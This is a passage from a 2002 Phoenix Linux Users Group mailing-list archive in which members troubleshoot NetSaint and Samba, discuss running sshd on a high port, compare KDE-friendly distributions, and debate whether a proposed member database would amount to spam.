plug-discuss@lists.plug.phoenix.az.us Thu Jun 27 21:14:55 2002 From: plug-discuss@lists.plug.phoenix.az.us (slr) Date: Thu, 27 Jun 2002 14:14:55 -0700 Subject: Netsaint Message-ID: <200206271414.55584.zen2now@qwest.net> Ok here goes, cause i guess i am going to be one of those that will struggle. i downloaded and installed NEAT4.9 because at 1st glance it looked like it would make administration easier. i can pull up the web interface and edit the host.cfg, which BTW i couldnt do by using the httpd default group and chmod g+w host.cfg as suggested in the README.txt for NEAT. the problem now is when i try to verify and restart netsaint using the NEAT web interface i get this error msg: ERROR - userid apacheuser (this is not the real default httpd user) cannot run /usr/local/netsaint/bin/netsaint to verify your config. This is probably your httpd userid. Fix this i am not sure why it is using this apache user, it is not entered in the netsaint.cfg file. any ideas? slr From plug-discuss@lists.plug.phoenix.az.us Thu Jun 27 21:17:53 2002 From: plug-discuss@lists.plug.phoenix.az.us (Eric Katherman) Date: 27 Jun 2002 14:17:53 -0700 Subject: Samba Help?? In-Reply-To: <20020627181354.QGVM8234.lakemtao06.cox.net@smtp.central.cox.net> References: <20020627181354.QGVM8234.lakemtao06.cox.net@smtp.central.cox.net> Message-ID: <1025212690.21221.0.camel@erikat> What do you get when you do a smbstatus? On Thu, 2002-06-27 at 11:13, Carl Parrish wrote: > I let some Window users talk me into rebooting my Linux box to try to fix a problem now my Samba is fubared. I've restarted /usr/bin/smbd and /usr/bin/nmbd but now I can't see any of the window boxes on the network anyone have any ideas? > > > Carl P. > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Thu Jun 27 21:16:00 2002 From: plug-discuss@lists.plug.phoenix.az.us (Victor Odhner) Date: Thu, 27 Jun 2002 14:16:00 -0700 Subject: secure shell using other ports than 22 References: Message-ID: <3D1B8090.5388F144@cox.net> Can you run sshd as a normal user on a high port, thus eliminating any chance of a root compromise? Vic From plug-discuss@lists.plug.phoenix.az.us Thu Jun 27 21:21:08 2002 From: plug-discuss@lists.plug.phoenix.az.us (Tom Achtenberg) Date: Thu, 27 Jun 2002 14:21:08 -0700 Subject: Distro - NO WAR Message-ID: <4A8DFDA6B395D411A11B00508BEE23FE76B53D@mail.int.fh.org> I'm willing to change distro's off RH for one that is non-geek friendly and fully supports KDE3.0.1 Any suggestions? Preferably with downloadable iso's Tom Achtenberg Developer, Information Technologies Food for the Hungry / US (480) 609-7750 (voice) (480) 443-1420 (fax) TomA@fh.org From plug-discuss@lists.plug.phoenix.az.us Thu Jun 27 22:03:14 2002 From: plug-discuss@lists.plug.phoenix.az.us (Kurt Granroth) Date: Thu, 27 Jun 2002 15:03:14 -0700 Subject: Distro - NO WAR In-Reply-To: <4A8DFDA6B395D411A11B00508BEE23FE76B53D@mail.int.fh.org> References: <4A8DFDA6B395D411A11B00508BEE23FE76B53D@mail.int.fh.org> Message-ID: <200206271503.14923@granroth.org> On Thursday 27 June 2002 02:21 pm, Tom Achtenberg wrote: > I'm willing to change distro's off RH for one that is non-geek friendly > and fully supports KDE3.0.1 Any suggestions? Preferably with > downloadable iso's FWIW, the three distros that support KDE pretty reliably are SuSE, Mandrake, and Conectiva. -- Kurt Granroth - "KDE -- Conquer Your Desktop" KDE Developer/Evangelist | granroth@kde.org http://www.granroth.org | kurt@granroth.org From plug-discuss@lists.plug.phoenix.az.us Thu Jun 27 22:04:57 2002 From: plug-discuss@lists.plug.phoenix.az.us (slr) Date: Thu, 27 Jun 2002 15:04:57 -0700 Subject: Netsaint In-Reply-To: <200206271414.55584.zen2now@qwest.net> References: <200206271414.55584.zen2now@qwest.net> Message-ID: <200206271504.57236.zen2now@qwest.net> maybe a better question would be, is Netsaint worth the hassle? are there better tools for this that are easier to setup? slr On Thursday 27 June 2002 02:14 pm, slr wrote: > Ok here goes, cause i guess i am going to be one of those that will > struggle. i downloaded and installed NEAT4.9 because at 1st glance it > looked like it would make administration easier. i can pull up the web > interface and edit the host.cfg, which BTW i couldnt do by using the httpd > default group and chmod g+w host.cfg as suggested in the README.txt for > NEAT. the problem now is when i try to verify and restart netsaint using > the NEAT web interface i get this error msg: > > ERROR - userid apacheuser (this is not the real default httpd user) cannot > run /usr/local/netsaint/bin/netsaint to verify your config. This is > probably your httpd userid. Fix this > > i am not sure why it is using this apache user, it is not entered in the > netsaint.cfg file. any ideas? > > slr > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Thu Jun 27 22:02:25 2002 From: plug-discuss@lists.plug.phoenix.az.us (Kurt Granroth) Date: Thu, 27 Jun 2002 15:02:25 -0700 Subject: Crappy Products Cost More!! In-Reply-To: <4A8DFDA6B395D411A11B00508BEE23FE76B539@mail.int.fh.org> References: <4A8DFDA6B395D411A11B00508BEE23FE76B539@mail.int.fh.org> Message-ID: <200206271502.25609@granroth.org> On Thursday 27 June 2002 01:58 pm, Tom Achtenberg wrote: > Would you settle for a product that is 70 to 80% complete? How about if > they left off one tire on your car? Bernard's attitude is a horrible > example of bad customer service. (If what you report is accurate.) To cut Bero a bit of slack, he creates the RPMs on his own time (mostly). RedHat gives him next to no support internally. Not that that excuses RedHat at all... As for your java issues with Konqueror, it depends on what version of Java you are using. You need java 1.3 or better (the IBM version works great for me). Java support in the upcoming 3.1 (not due until this Fall) is *much* improved over the 3.0.x series as well. -- Kurt Granroth - "KDE -- Conquer Your Desktop" KDE Developer/Evangelist | granroth@kde.org http://www.granroth.org | kurt@granroth.org From plug-discuss@lists.plug.phoenix.az.us Thu Jun 27 22:00:00 2002 From: plug-discuss@lists.plug.phoenix.az.us (Kurt Granroth) Date: Thu, 27 Jun 2002 15:00:00 -0700 Subject: Install fest interest generation In-Reply-To: <4A8DFDA6B395D411A11B00508BEE23FE76B53B@mail.int.fh.org> References: <4A8DFDA6B395D411A11B00508BEE23FE76B53B@mail.int.fh.org> Message-ID: <200206271500.00141@granroth.org> On Thursday 27 June 2002 02:01 pm, Tom Achtenberg wrote: > Naw, I'm not a YouPer It's "Yooper", not "Youper". :-) For the record, I spent the first 22 years of my life as a Yooper living in the northernmost part of Michigan. Five years living here has cured me of all that, though :-) -- Kurt Granroth - "KDE -- Conquer Your Desktop" KDE Developer/Evangelist | granroth@kde.org http://www.granroth.org | kurt@granroth.org From plug-discuss@lists.plug.phoenix.az.us Thu Jun 27 22:08:14 2002 From: plug-discuss@lists.plug.phoenix.az.us (William Lindley) Date: Thu, 27 Jun 2002 15:08:14 -0700 (MST) Subject: Samba Help?? In-Reply-To: <02062711473913.07972@nova.wedge.org> Message-ID: On Thu, 27 Jun 2002, Jim wrote: > HEY! Anyone know why Carl didnt have a Mozilla 1.0 party? Its never too > late, Carl ::grin:: I sent email to the registered address for the Tempe party at the mozilla site... it bounced back to me after the fact... bit of a bummer. \\/ From plug-discuss@lists.plug.phoenix.az.us Thu Jun 27 22:39:08 2002 From: plug-discuss@lists.plug.phoenix.az.us (MCR) Date: Thu, 27 Jun 2002 15:39:08 -0700 (PDT) Subject: Crappy Products Cost More!! In-Reply-To: <3D1B02F4.3E355CF9@georgetoft.com> Message-ID: <20020627223908.5883.qmail@web13907.mail.yahoo.com> Just to throw in something from the other side of the coin. My dad is on the other side of the business, he hires consultants to do networking jobs. One of the men he really like is quite expensive, and he told me that that was one of the things that got his attention. He feels since he charges more he must do great work. He also made the comment that he would not of felt comfortable going with someone much cheaper because he would of felt uncomfortable with there ability. mike --- George Toft wrote: > Kevin Brown wrote: > [snip] > > > (Another small story) > > > A friend of mine runs a technology related > service business. He was getting > > > too much work so he started raising his quotes. > He started getting even more > > > work from people that had dropped him before > because he was "priced too low to > > > be very good" as they later told him. > > > (End of small story) > > > > This is because you either don't know what your > skills are worth, or will take > > more time than someone charging more per hour and > cost them more in the long run > > (time == money, especially during downtime). At > least in their eyes. > > > > I knew someone with the same story. When he charged > $35/hour, he was > swamped. Then he charged $75/hour, and he was > losing business. He > raised it to $125/hour and he was getting business > he had lost before. > Their stated reason for not hiring him at $75/hour > was they though he > didn't know what he was doing at that price. For > $125/hour they thought > he was competent. > > No change in technical skill - just a change in > marketing. > > George > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml > if your mail doesn't post to the list quickly and > you use Netscape to write mail. > > PLUG-discuss mailing list - > PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss __________________________________________________ Do You Yahoo!? Yahoo! - Official partner of 2002 FIFA World Cup http://fifaworldcup.yahoo.com From plug-discuss@lists.plug.phoenix.az.us Thu Jun 27 22:43:04 2002 From: plug-discuss@lists.plug.phoenix.az.us (Tom Achtenberg) Date: Thu, 27 Jun 2002 15:43:04 -0700 Subject: Install fest interest generation Message-ID: <4A8DFDA6B395D411A11B00508BEE23FE76B53F@mail.int.fh.org> Well, pretty close for a troll :) At least I'm not from Ohio. -----Original Message----- From: Kurt Granroth [mailto:kurt@granroth.org] Sent: Thursday, June 27, 2002 3:00 PM To: plug-discuss@lists.plug.phoenix.az.us Subject: Re: Install fest interest generation On Thursday 27 June 2002 02:01 pm, Tom Achtenberg wrote: > Naw, I'm not a YouPer It's "Yooper", not "Youper". :-) For the record, I spent the first 22 years of my life as a Yooper living in the northernmost part of Michigan. Five years living here has cured me of all that, though :-) -- Kurt Granroth - "KDE -- Conquer Your Desktop" KDE Developer/Evangelist | granroth@kde.org http://www.granroth.org | kurt@granroth.org ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Thu Jun 27 22:41:32 2002 From: plug-discuss@lists.plug.phoenix.az.us (Jim) Date: Thu, 27 Jun 2002 15:41:32 -0700 Subject: Install fest interest generation In-Reply-To: <200206271500.00141@granroth.org> References: <4A8DFDA6B395D411A11B00508BEE23FE76B53B@mail.int.fh.org> <200206271500.00141@granroth.org> Message-ID: <02062715413316.07972@nova.wedge.org> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Down in Detroit we referred to youse guys who lived in gods country north of the bridge as you-pee-ers ::grin:: On Thursday 27 June 2002 15:00, you wrote: > On Thursday 27 June 2002 02:01 pm, Tom Achtenberg wrote: > > Naw, I'm not a YouPer > > It's "Yooper", not "Youper". :-) > > For the record, I spent the first 22 years of my life as a Yooper living in > the northernmost part of Michigan. Five years living here has cured me of > all that, though :-) - -- Jim Freedom is worth protecting -----BEGIN PGP SIGNATURE----- Version: PGP 6.5.8 iQA/AwUBPRuUnSsk3ywszI1FEQKQeQCfWKIkmAxn6SS8sWTgFcr2/pN6cO8AoJt1 x7aL47MbwnUjcXA35miRvU/F =qGzn -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Thu Jun 27 22:41:55 2002 From: plug-discuss@lists.plug.phoenix.az.us (Tom Achtenberg) Date: Thu, 27 Jun 2002 15:41:55 -0700 Subject: Crappy Products Cost More!! Message-ID: <4A8DFDA6B395D411A11B00508BEE23FE76B53E@mail.int.fh.org> I agree the RH problem is management. KDE's web site doesn't name him but does state the a RH employee makes the rpm's on his own time. I believe it is 1.3 Java that I have installed. At least the up2date says my system is 100% up to date (in their eyes anyway.) I have iso's from Mandrake from early April. ver 8.1 I think. Does Mandrake have anything like the up2date service? If so I may go that direction this weekend. -----Original Message----- From: Kurt Granroth [mailto:kurt@granroth.org] Sent: Thursday, June 27, 2002 3:02 PM To: plug-discuss@lists.plug.phoenix.az.us Subject: Re: Crappy Products Cost More!! On Thursday 27 June 2002 01:58 pm, Tom Achtenberg wrote: > Would you settle for a product that is 70 to 80% complete? How about if > they left off one tire on your car? Bernard's attitude is a horrible > example of bad customer service. (If what you report is accurate.) To cut Bero a bit of slack, he creates the RPMs on his own time (mostly). RedHat gives him next to no support internally. Not that that excuses RedHat at all... As for your java issues with Konqueror, it depends on what version of Java you are using. You need java 1.3 or better (the IBM version works great for me). Java support in the upcoming 3.1 (not due until this Fall) is *much* improved over the 3.0.x series as well. -- Kurt Granroth - "KDE -- Conquer Your Desktop" KDE Developer/Evangelist | granroth@kde.org http://www.granroth.org | kurt@granroth.org ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Thu Jun 27 23:14:57 2002 From: plug-discuss@lists.plug.phoenix.az.us (der.hans) Date: Thu, 27 Jun 2002 16:14:57 -0700 (MST) Subject: secure shell using other ports than 22 In-Reply-To: <3D1B8090.5388F144@cox.net> Message-ID: Am 27. Jun, 2002 schwätzte Victor Odhner so: > Can you run sshd as a normal user on a high port, > thus eliminating any chance of a root compromise? Yes. I used to do that at ASU as ssh wasn't available. You can't log in as multiple users, but if you're just using it for one id, then it works great. ciao, der.hans -- # https://www.LuftHans.com/ # kill telnet, long live ssh - der.hans From plug-discuss@lists.plug.phoenix.az.us Thu Jun 27 23:13:17 2002 From: plug-discuss@lists.plug.phoenix.az.us (der.hans) Date: Thu, 27 Jun 2002 16:13:17 -0700 (MST) Subject: Membership database In-Reply-To: Message-ID: Am 27. Jun, 2002 schwätzte Derek Neighbors so: > > SPAM, regardless of the cause, is *BAD*!!! We should not mass-email anyone. > > I disagree. Unsolicted SPAM is pure evil. Solicted SPAM is certainly If you've asked to receieve it, it isn't SPAM. That's why we can gently use the announce list ( something we should do more often ). If, OTOH, we just snarf all the email addies in our lists and start mass-mailing them, then that's SPAM. They've signed up for the list mechanisms. Using the email addies outside those contexts is opt-out. There's no need to hop outside the confines of the lists. People have signed up for those, let's use them. Let's not start direct emailing with addies reaped from the mailing lists. > acceptable. There are many companies I deal with that I request their > SPAM because its valuable to me (discounts, special events, promotions > etc) and I know they dont abuse me. Other people I do business with I > woudl never give them my information or if I did I certainly would opt in > for them to send me anything. We're mostly saying the same thing, except we're differing on the definition of SPAM. ciao, der.hans -- # https://www.LuftHans.com/ # To announce that there must be no criticism of the President, or that we # are to stand by the President, right or wrong, is not only unpatriotic # and servile, but is morally treasonable to the American public. # -- Theodore Roosevelt, 1918 From plug-discuss@lists.plug.phoenix.az.us Thu Jun 27 22:50:48 2002 From: plug-discuss@lists.plug.phoenix.az.us (Lowell Hamilton) Date: 27 Jun 2002 15:50:48 -0700 Subject: Netsaint In-Reply-To: <200206271504.57236.zen2now@qwest.net> References: <200206271414.55584.zen2now@qwest.net> <200206271504.57236.zen2now@qwest.net> Message-ID: <1025218248.10747.90.camel@syz.broken-bit.com> > maybe a better question would be, is Netsaint worth the hassle? are there > better tools for this that are easier to setup? Depends on what you want to monitor .. if you want to check a tiny webserver or just a couple little hosts with the most basic checks, netsaint is a lot of extra hassle. Netsaint doesn't become really handy until you start implementing larger networks or have several hosts monitoring dozens of services each. I have a 5100-point of failure netsaint install going watching almost 100 points of failure on several machines, something no other opensource monitoring software could handle without blowing the system up or becoming unmaintainable. For small stuff though, hit freshmeat .. software like bigbrother would probably work. In regards to your problem, it sounds like NEAT set the userid in /usr/local/netsaint/etc/netsaint.cfg to apacheuser ... edit this file and make sure all the paths and users are correct for what you need. Lowell On Thu, 2002-06-27 at 15:04, slr wrote: > > slr > > On Thursday 27 June 2002 02:14 pm, slr wrote: > > Ok here goes, cause i guess i am going to be one of those that will > > struggle. i downloaded and installed NEAT4.9 because at 1st glance it > > looked like it would make administration easier. i can pull up the web > > interface and edit the host.cfg, which BTW i couldnt do by using the httpd > > default group and chmod g+w host.cfg as suggested in the README.txt for > > NEAT. the problem now is when i try to verify and restart netsaint using > > the NEAT web interface i get this error msg: > > > > ERROR - userid apacheuser (this is not the real default httpd user) cannot > > run /usr/local/netsaint/bin/netsaint to verify your config. This is > > probably your httpd userid. Fix this > > > > i am not sure why it is using this apache user, it is not entered in the > > netsaint.cfg file. any ideas? > > > > slr > > > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss -- : Lowell Hamilton syz@b r o k e n - b i t . c o m : : Linux OpenBSD Security QMail Perl/Mod_perl SQL : From plug-discuss@lists.plug.phoenix.az.us Thu Jun 27 23:10:28 2002 From: plug-discuss@lists.plug.phoenix.az.us (Raymond Cantwell) Date: Thu, 27 Jun 2002 16:10:28 -0700 Subject: Crappy Products Cost More!! References: <4A8DFDA6B395D411A11B00508BEE23FE76B53E@mail.int.fh.org> Message-ID: <3D1B9B64.9070409@qwest.net> Tom Achtenberg wrote: >I agree the RH problem is management. KDE's web site doesn't name him but does state the a RH employee makes the rpm's on his own time. > >I believe it is 1.3 Java that I have installed. At least the up2date says my system is 100% up to date (in their eyes anyway.) I have iso's from Mandrake from early April. ver 8.1 I think. Does Mandrake have anything like the up2date service? If so I may go that direction this weekend. > >-----Original Message----- >From: Kurt Granroth [mailto:kurt@granroth.org] >Sent: Thursday, June 27, 2002 3:02 PM >To: plug-discuss@lists.plug.phoenix.az.us >Subject: Re: Crappy Products Cost More!! > > >On Thursday 27 June 2002 01:58 pm, Tom Achtenberg wrote: > > >>Would you settle for a product that is 70 to 80% complete? How about if >>they left off one tire on your car? Bernard's attitude is a horrible >>example of bad customer service. (If what you report is accurate.) >> >> > >To cut Bero a bit of slack, he creates the RPMs on his own time (mostly). >RedHat gives him next to no support internally. > >Not that that excuses RedHat at all... > >As for your java issues with Konqueror, it depends on what version of Java >you are using. You need java 1.3 or better (the IBM version works great >for me). Java support in the upcoming 3.1 (not due until this Fall) is >*much* improved over the 3.0.x series as well. > > mandrake has mandrake update. It seems to be fairly good, i have been running 8.2 for about a month and a half and my system is current. Ray From plug-discuss@lists.plug.phoenix.az.us Thu Jun 27 23:23:22 2002 From: plug-discuss@lists.plug.phoenix.az.us (Jim) Date: Thu, 27 Jun 2002 16:23:22 -0700 Subject: Membership database In-Reply-To: References: Message-ID: <02062716232217.07972@nova.wedge.org> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 I agree with Hans. We have the tools (i.e. the mail lists themselves) so why not use them? Opt-in if you choose, do nothing (except take the time to read the post) if you dont. On Thursday 27 June 2002 16:13, you wrote: > Am 27. Jun, 2002 schwätzte Derek Neighbors so: > > > SPAM, regardless of the cause, is *BAD*!!! We should not mass-email > > > anyone. > > > > I disagree. Unsolicted SPAM is pure evil. Solicted SPAM is certainly > > If you've asked to receieve it, it isn't SPAM. That's why we can gently use > the announce list ( something we should do more often ). > > If, OTOH, we just snarf all the email addies in our lists and start > mass-mailing them, then that's SPAM. They've signed up for the list > mechanisms. Using the email addies outside those contexts is opt-out. > > There's no need to hop outside the confines of the lists. People have > signed up for those, let's use them. Let's not start direct emailing with > addies reaped from the mailing lists. > > > acceptable. There are many companies I deal with that I request their > > SPAM because its valuable to me (discounts, special events, promotions > > etc) and I know they dont abuse me. Other people I do business with I > > woudl never give them my information or if I did I certainly would opt in > > for them to send me anything. > > We're mostly saying the same thing, except we're differing on the > definition of SPAM. > > ciao, > > der.hans - -- Jim Freedom is worth protecting -----BEGIN PGP SIGNATURE----- Version: PGP 6.5.8 iQA/AwUBPRueaisk3ywszI1FEQJ3YACg4PfMKZWvw21nFfgbaXCPpDIYtxIAoN4R 6f4cnjBwiParXplF336K313P =yRdW -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Thu Jun 27 23:30:36 2002 From: plug-discuss@lists.plug.phoenix.az.us (Lee Einer) Date: Thu, 27 Jun 2002 16:30:36 -0700 Subject: Install Fest II 0626 Status References: Message-ID: <3D1BA01C.8D86CEBF@cox.net> It would be great to have a published schedule of the presentations, too. -- Lee Einer http://members.cox.net/appealsman/ From plug-discuss@lists.plug.phoenix.az.us Thu Jun 27 23:38:57 2002 From: plug-discuss@lists.plug.phoenix.az.us (slr) Date: Thu, 27 Jun 2002 16:38:57 -0700 Subject: Netsaint In-Reply-To: <1025218248.10747.90.camel@syz.broken-bit.com> References: <200206271414.55584.zen2now@qwest.net> <200206271504.57236.zen2now@qwest.net> <1025218248.10747.90.camel@syz.broken-bit.com> Message-ID: <200206271638.57847.zen2now@qwest.net> well i was looking to monitor my exchange server, PDC, SQL server, 4 Samba servers, 5 webservers, 3 DNS servers, my routers and switches, and 3 MySQL servers. in this senario would netsaint be an overkill? i am trying out ntop right now, what is your feeling about this app? as for NEAT, i check the netsaint.cfg and netsaint_user=contains my netsaint user and not the apacheuser. :~( slr On Thursday 27 June 2002 03:50 pm, Lowell Hamilton wrote: > > maybe a better question would be, is Netsaint worth the hassle? are there > > better tools for this that are easier to setup? > > Depends on what you want to monitor .. if you want to check a tiny > webserver or just a couple little hosts with the most basic checks, > netsaint is a lot of extra hassle. Netsaint doesn't become really handy > until you start implementing larger networks or have several hosts > monitoring dozens of services each. I have a 5100-point of failure > netsaint install going watching almost 100 points of failure on several > machines, something no other opensource monitoring software could handle > without blowing the system up or becoming unmaintainable. For small > stuff though, hit freshmeat .. software like bigbrother would probably > work. > > In regards to your problem, it sounds like NEAT set the userid in > /usr/local/netsaint/etc/netsaint.cfg to apacheuser ... edit this file > and make sure all the paths and users are correct for what you need. > > Lowell > > On Thu, 2002-06-27 at 15:04, slr wrote: > > slr > > > > On Thursday 27 June 2002 02:14 pm, slr wrote: > > > Ok here goes, cause i guess i am going to be one of those that will > > > struggle. i downloaded and installed NEAT4.9 because at 1st glance it > > > looked like it would make administration easier. i can pull up the web > > > interface and edit the host.cfg, which BTW i couldnt do by using the > > > httpd default group and chmod g+w host.cfg as suggested in the > > > README.txt for NEAT. the problem now is when i try to verify and > > > restart netsaint using the NEAT web interface i get this error msg: > > > > > > ERROR - userid apacheuser (this is not the real default httpd user) > > > cannot run /usr/local/netsaint/bin/netsaint to verify your config. This > > > is probably your httpd userid. Fix this > > > > > > i am not sure why it is using this apache user, it is not entered in > > > the netsaint.cfg file. any ideas? > > > > > > slr > > > > > > > > > ________________________________________________ > > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > > post to the list quickly and you use Netscape to write mail. > > > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Fri Jun 28 00:42:01 2002 From: plug-discuss@lists.plug.phoenix.az.us (Kimi A. Adams) Date: Thu, 27 Jun 2002 17:42:01 -0700 Subject: Membership database In-Reply-To: <02062711351412.07972@nova.wedge.org> References: <5.1.0.14.0.20020626203832.025352a0@localhost> <5.1.0.14.0.20020626163527.00a52ec0@localhost> <5.1.0.14.0.20020626203832.025352a0@localhost> Message-ID: <5.1.0.14.0.20020627172154.025325b0@localhost> The purpose of any website or database that is accessible from outside is to get to information. Just like Google and other search engines, it's a database that you would search for what you need from people who register. Hans stated there is something being worked on for the website. I have stated I have something available that can be tweaked to preferences. However you send information about the database is fine by me. SPAM or not, if you don't want to read it, delete it. We can promote it on the website and on the lists, including the announce list. I won't go into whether processing time, display time, hard drive space, etc. would be available or would take up too much of these resources. The point is that I am wanting more to find the information that I am looking for instead of having to email the listing and searching through the email responses to get what I want or need at the time. I know there are sites out there where I can search for things that I may need or want at any given time, but PLUG people are who I turn to. I want to know that if I am looking for this one part or this one service or someone who can wave this wand, that I can find it in my own time, rather than having to drag myself through lot's of emails and calls that get me off track from the "thing" I most want. Just kinda why I brought this up and how I would like to see things improved upon. Kimi Adams Unity Wave At 6/27/02, you wrote: >-----BEGIN PGP SIGNED MESSAGE----- >Hash: SHA1 > >My thoughts on a member database. > >I think it is a great idea. As of right now, we have little information >about who is subscribed to any of the mailing lists, other than their mail >address. Some people might consider that a "good thing". > >Any membership information should be gathered voluntarily. We should not >require anyone to add information to the database. We should warn them that >we will collect at least the email address that they are using to subscribe >to a list for the membership database. We do, after all, consider anyone >subscribed to any of our mail lists as a PLUG member (makes our numbers look >really great). > >I bet we could get Brian to capture a snapshot of the current subscribers' >email addresses from Mailman. We could them mass-email all subscribers >pointing them to a yet-to-be built web page with a form to fill out as much >or as little information as they want in the database. I bet we could even >set up a mechanism to send new subscribers to get sent there automatically. >Probably should set up a way to delete data when someone unsubscribes. This >is tougher because a person may be subscribed to all the lists but only be >unsubscribing from one or two. > >As far a web space for members, how much space do we have available that we >can use for members' pages? It is one thing to search the database and >display data about one member, but it will take a lot more space if we set >aside even 1M of space for every member. It will take some resources for the >database web page that collects the data and for the database and for the >scripts that need to be written. It will take more space to search and >display routines based on criteria input (sounds like a job for our PhP >gurus). > >All in all, I consider this a great project. It would be even greater if we >release all the tools after it is done. I am almost surprised that another >UG has not done something like this already. So what do we need in terms of >hardware, software, and manpower? Who is gonna organize it? How many members >would be interested in participating? >- -- >Jim > >Freedom is worth protecting > >-----BEGIN PGP SIGNATURE----- >Version: PGP 6.5.8 > >iQA/AwUBPRta4isk3ywszI1FEQKgpQCeNUk3KndK5/aslwBtPG42kFb6JUYAnR1t >qR5NkSwamOTOgLRJ+rIAeJDg >=XeNW >-----END PGP SIGNATURE----- >________________________________________________ >See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't >post to the list quickly and you use Netscape to write mail. > >PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us >http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Fri Jun 28 01:13:28 2002 From: plug-discuss@lists.plug.phoenix.az.us (Scott) Date: Thu, 27 Jun 2002 18:13:28 -0700 (MST) Subject: Samba Help?? In-Reply-To: <20020627181354.QGVM8234.lakemtao06.cox.net@smtp.central.cox.net> Message-ID: On Thu, 27 Jun 2002, Carl Parrish wrote: > I let some Window users talk me into rebooting my Linux box to try to fix a problem now my Samba is fubared. I've restarted /usr/bin/smbd and /usr/bin/nmbd but now I can't see any of the window boxes on the network anyone have any ideas? > > > Carl P. > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > look in your .../samba/var/log.smbd and log.nmbd files. There should be some info there on what it is choking on. Also, you mentioned that samba was fubared - how did you come to that conlusion - what are you seeing/not seeing? scott sbrews@cox.net From plug-discuss@lists.plug.phoenix.az.us Fri Jun 28 01:13:15 2002 From: plug-discuss@lists.plug.phoenix.az.us (Dr.G) Date: Thu, 27 Jun 2002 18:13:15 -0700 Subject: Membership database References: <5.1.0.14.0.20020626203832.025352a0@localhost> <5.1.0.14.0.20020626163527.00a52ec0@localhost> <5.1.0.14.0.20020626203832.025352a0@localhost> <5.1.0.14.0.20020627172154.025325b0@localhost> Message-ID: <001d01c21e40$facc04d0$6701a8c0@drghastly> I'm afraid I didn't sign up to this list to have my email put into a DB with a list of skills/references on me so that someone can go in there and just send me email whenever they have a problem. I thought that was what PLUG was for, to discuss the problem and get multiple points of view and figure out the best tool for the job. It's funny how a LOT of people complain about being on someone's SPAM list and when they get told "You can just delete it" they get VERY upset. "I didn't want to be on it in the FIRST place!" Your proposing to do that to everyone who hates SPAM. You talk about not wanting to have to go through all the emails PLUG generates to find the answers to your issues. *I* do not want to have to go thought all the PLUG emails AND everyones PERSONAL emails to me to find the answers I need. I get enough e-mail as it is, I do not need to wade through more. If someone sees I posted a response to answer a question and they wish to follow up with me privately, thats fine. But I don't want emails just coming out of the blue like crazy (NOT that I am saying you will. I am a newbie afterall, I'm just stating a view point :) The opposite applies. If someone whishes to give me an answer privately, that is also obviously ok. If anything, this idea would HAVE to be an Opt-In, not Opt-Out. Opt-Out is just as annoyng as MSN/hotmail signing you up for thier spam, not telling you, and then saying "Oh, well, its OPT-Out..." ----- Original Message ----- From: "Kimi A. Adams" To: Sent: Thursday, June 27, 2002 5:42 PM Subject: Re: Membership database > The purpose of any website or database that is accessible from outside is > to get to information. Just like Google and other search engines, it's a > database that you would search for what you need from people who > register. Hans stated there is something being worked on for the > website. I have stated I have something available that can be tweaked to > preferences. > > However you send information about the database is fine by me. SPAM or > not, if you don't want to read it, delete it. We can promote it on the > website and on the lists, including the announce list. > > I won't go into whether processing time, display time, hard drive space, > etc. would be available or would take up too much of these resources. The > point is that I am wanting more to find the information that I am looking > for instead of having to email the listing and searching through the email > responses to get what I want or need at the time. > > I know there are sites out there where I can search for things that I may > need or want at any given time, but PLUG people are who I turn to. I want > to know that if I am looking for this one 